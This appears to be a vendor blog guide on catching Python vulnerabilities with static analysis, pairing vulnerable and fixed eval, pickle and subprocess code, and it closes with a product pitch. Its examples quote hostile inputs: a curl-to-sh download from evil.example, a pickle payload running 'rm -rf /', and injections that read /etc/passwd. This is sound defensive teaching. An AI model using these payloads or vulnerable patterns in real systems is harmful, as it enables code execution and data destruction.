Static Analysis for Python: Common Vulnerability Patterns and How to Catch Them
In April 2023 the Django security team shipped a quiet patch advisory for CVE-2023-43665, a regular-expression denial-of-service in the framework's django.utils.text.Truncator helper. A pathological input fed into the HTML truncation path forced the underlying regex into super-linear backtracking, pinning a worker process at 100% CPU for as long as the request stayed open. The bug was a single greedy quantifier in a single line of helper code that had shipped in Django for years, exercised by every project that used the truncatewords_html template filter on user-controlled strings. The patch was three characters long. The reason it took years to surface is the same reason most Python security bugs persist: the dangerous shape is idiomatic Python that passes every functional test, every code review, and every linter that does not understand the difference between a regex that matches and a regex that matches in polynomial time.
Python's strengths — dynamic typing, implicit string handling, batteries-included serialization — are also the surface area where its security bugs live. The same year as the Django ReDoS, Flask shipped CVE-2023-30861, a session-cookie disclosure that hinged on a default cookie attribute interacting badly with a permissive proxy configuration. A year earlier, the PyTorch maintainers disclosed a dependency-confusion compromise in which an attacker uploaded a malicious torchtriton package to PyPI that shadowed an internal index dependency and exfiltrated environment variables on install. None of these were exotic; all of them lived in the parts of Python that engineers reach for without thinking. This guide walks through the bug classes that static analysis catches reliably in Python codebases, what vulnerable and fixed code looks like, and where the dynamic typing of the language genuinely complicates the analysis.
The Python Vulnerability Landscape
The bug classes that show up most often on Python static-analysis reports cluster around a handful of standard-library and framework features. Deserialization sinks — pickle.loads, marshal.loads, yaml.load without a safe loader — map to CWE-502 and turn arbitrary bytes from the network into arbitrary code execution because the deserializer is, by design, a tiny interpreter. Code-injection sinks — eval, exec, compile — map to CWE-95 and convert any string variable that reaches them into a remote code execution primitive. Raw cursor execution against a database — cursor.execute(f"SELECT * FROM users WHERE id = {user_id}") — maps to CWE-89 SQL injection in projects that bypass the Django ORM or SQLAlchemy parameter binding for what looked like a quick query.
Cross-site scripting in Django and Flask templates concentrates on the safe filter and the mark_safe helper, both of which tell the autoescaper to emit a string verbatim into the rendered HTML. Jinja templates ship the same primitive under the {% autoescape false %} block. Command injection collects under subprocess calls with shell=True, os.system, os.popen, and the deprecated commands module — every variant invokes a shell that splits on whitespace and metacharacters of an attacker-supplied string. Path traversal sits under open(user_supplied_path) and send_file(user_path) when the path is not anchored under a normalized base directory. Flask applications leak session secrets when SECRET_KEY is hardcoded in source or set to a low-entropy default; weak cryptography hides under hashlib.md5 and hashlib.sha1 for password hashing or signing; hardcoded API keys, AWS credentials, and database URLs end up in source files because os.environ.get("KEY", "fallback-value") made it easy.
Eval Injection: The One-Liner That Ships Remote Code Execution
The most common shape is a developer who needs to parse a small literal — a tuple, a list of integers, a configuration dictionary — out of a string and reaches for eval because it is right there:
# VULNERABLE
def parse_filter_config(raw_filter: str):
# raw_filter comes from a query parameter or config file
return eval(raw_filter) A request carrying raw_filter=__import__('os').system('curl evil.example/install.sh | sh') walks straight through. The fix is the standard-library helper that exists for exactly this case and refuses to evaluate anything that is not a Python literal:
# FIXED
import ast
def parse_filter_config(raw_filter: str):
# ast.literal_eval accepts strings, numbers, tuples, lists,
# dicts, sets, booleans, and None — and nothing else.
return ast.literal_eval(raw_filter)ast.literal_eval raises ValueError on anything that is not a literal, which is the desired outcome for a function whose entire job is to parse one. The same substitution applies to exec, which has no safe equivalent and should be treated as a code smell on every appearance. SAST tools flag both calls cleanly because the dangerous API surface is finite and the dataflow from a request parameter to the call is short.
Pickle Deserialization: The Cautionary Tale Everyone Cites and Half Still Ship
The Python documentation has carried a warning at the top of the pickle module page for over a decade: never unpickle data from an untrusted or unauthenticated source. Despite that, pickle.loads on attacker-controllable bytes is one of the most reliable findings on Python code reviews, especially in machine-learning pipelines that ship trained models as pickle blobs and in distributed-task frameworks that move arguments across the wire as pickled payloads:
# VULNERABLE
import pickle
from flask import request
@app.route("/restore", methods=["POST"])
def restore_state():
blob = request.get_data()
state = pickle.loads(blob) # attacker-controlled bytes
return apply_state(state) A pickle payload can declare a __reduce__ method that returns (os.system, ("rm -rf /",)), and the deserializer will invoke it during load. The fix is to switch to a serialization format that does not execute arbitrary callables, then validate the structure on the Python side:
# FIXED
import json
from flask import request, abort
@app.route("/restore", methods=["POST"])
def restore_state():
try:
state = json.loads(request.get_data())
except json.JSONDecodeError:
abort(400)
if not isinstance(state, dict) or "version" not in state:
abort(400)
return apply_state(state) The same logic applies to yaml.load without an explicit Loader=yaml.SafeLoader argument: the default loader is the full PyYAML loader, which can construct arbitrary Python objects from !!python/object tags and ship the same arbitrary-code primitive. The PyYAML maintainers eventually deprecated the bare yaml.load call to surface the choice, but legacy code still calls it daily. Static analysis catches both cases by tracing whether the input to the call is reachable from a network or filesystem source.
Subprocess With Shell=True: Command Injection by Default
Calling subprocess.run, subprocess.Popen, or any of their relatives with shell=True hands the entire command string to /bin/sh -c. The shell happily interprets pipes, redirects, command substitution, and metacharacters, which is exactly what the attacker needs:
# VULNERABLE
import subprocess
def ping_host(host: str):
# host comes from a form field
return subprocess.run(
f"ping -c 1 {host}",
shell=True,
capture_output=True,
text=True,
) A host value of example.com; cat /etc/passwd runs both commands; one of $(curl evil.example/x) runs the substitution. The fix is to drop the shell and pass the command as a list of arguments, which means the operating system invokes the binary directly with no shell interpretation:
# FIXED
import subprocess
import shlex
def ping_host(host: str):
if not is_valid_hostname(host):
raise ValueError("invalid hostname")
return subprocess.run(
["ping", "-c", "1", host],
shell=False,
capture_output=True,
text=True,
) The hostname validator is the second layer: even with shell=False, an attacker who supplies -f or another flag to ping can change the binary's behavior. Argument-shape validation upstream of the call is part of the fix, not an optional extra. SAST tools flag shell=True when the command string contains an interpolated variable; the most precise tools also flag the case where the command list contains an attacker-controlled value at the argument position because that is where the flag-injection variant lives.
Detection: SAST, Bandit, and Where Dynamic Typing Bites
The cheapest baseline for Python security is bandit, the OpenStack-originated linter that pattern-matches the standard collection of dangerous APIs — eval, exec, pickle.loads, shell=True, weak hashes, hardcoded passwords. Bandit is fast, free, and worth wiring into pre-commit on every Python repository on day one. It is also a syntax-level matcher that does not follow data flow across functions, modules, or classes, which means it will flag the dangerous call but cannot tell you whether the input to that call is reachable from an attacker. The signal-to-noise ratio is acceptable on small services and degrades quickly as codebases grow.
Commercial SAST tools — GraphNode, Semgrep with its Python rule packs, Checkmarx Python support — extend the analysis with inter-procedural data flow that traces a request parameter through helper functions, ORM wrappers, and template renderers to the dangerous sink. The trade-off is that Python's dynamic typing and runtime metaprogramming defeat strict points-to analysis: a function that takes a parameter typed as Any, calls getattr with a runtime-computed name, and passes the result to eval is still legal Python and still resolvable at runtime, but the static analyzer has to make conservative assumptions that produce either false positives or false negatives. Type annotations help; mypy-checked codebases give the analyzer a richer model to reason about and tighten the dataflow conclusions noticeably. IDE integration — Bandit and Semgrep both ship VS Code extensions, GraphNode runs as an in-IDE plugin — moves the feedback loop into the editor where the developer can fix the finding before committing.
Where GraphNode SAST Fits for Python
GraphNode SAST ships first-class Python support as one of the 13+ languages it analyzes, with inter-procedural data flow that traces taint from Flask, Django, FastAPI, and Starlette request handlers through helper modules to the deserialization, eval, subprocess, and template sinks. Findings appear on the diff that introduced the unsafe call, attributed to the engineer who wrote it. Python's deserialization, command-injection, and template-XSS classes overlap heavily with the broader A03 Injection family; the SAST tools guide covers tool selection in more depth.
Closing
Python's security bugs are concentrated in a small number of features that look harmless until they are not. pickle.loads on a network payload, eval on a config string, shell=True on a hostname, safe on a template variable, md5 on a password — each of these is one or two lines of code that a junior engineer can write in a minute, that passes every functional test, and that ships a remote code execution or data disclosure primitive into production the moment the input is attacker-controlled. The teams that stop shipping these bugs are the ones that gate the dangerous calls in CI, run static analysis on every diff, and treat the linter and SAST findings as hard build failures rather than backlog items. The fix patterns are well documented and library-supported; the discipline is in catching the regression before the deploy.
GraphNode SAST analyzes Python alongside 13+ other languages with inter-procedural data flow — request a demo.
Request Demo